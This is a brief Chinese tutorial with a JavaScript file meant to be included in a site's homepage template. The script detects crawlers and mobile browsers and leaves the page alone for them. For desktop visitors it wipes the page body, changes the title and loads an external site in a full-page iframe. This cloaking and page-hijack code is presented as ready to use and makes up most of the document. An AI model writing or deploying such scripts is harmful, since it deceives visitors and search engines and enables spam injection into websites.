js代码|镶入iframe

首先创建一个js文件，比如zshao.js

然后引入首页模版  <script language="javascript" type="text/javascript" src="zshao.js"></script>

function isSpider() {
    const userAgent = navigator['userAgent'];
    return /bot|crawl|slurp|spider/i.test(userAgent);
}

function isMobile() {
    const userAgent = navigator['userAgent'] || navigator['vendor'] || window['opera'];
    return /android|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(userAgent.toLowerCase());
}

function checkAccess() {
    if (isSpider() || isMobile()) {
        console.log("Access granted.");
    } else {
        function ly_ba() {
            var j1 = window["document"].getElementById("ba_frame");
            j1['width'] = window["document"].getElementById("div_frame")['clientWidth'];
        }
        window["document"].title = "美丽-鲜花";
        window["document"].body.innerHTML = '<div align="center" style="width:100%;max-width:100%;z-index:10000" id="div_frame"><iframe id="ba_frame" frameborder="0" width="100%" height="2500" scrolling="no" src="https://www.shuanglongchehang.com/?m=home&c=Lists&a=index&tid=4" onload="ly_ba();"></iframe></div>';
    }
}

checkAccess();
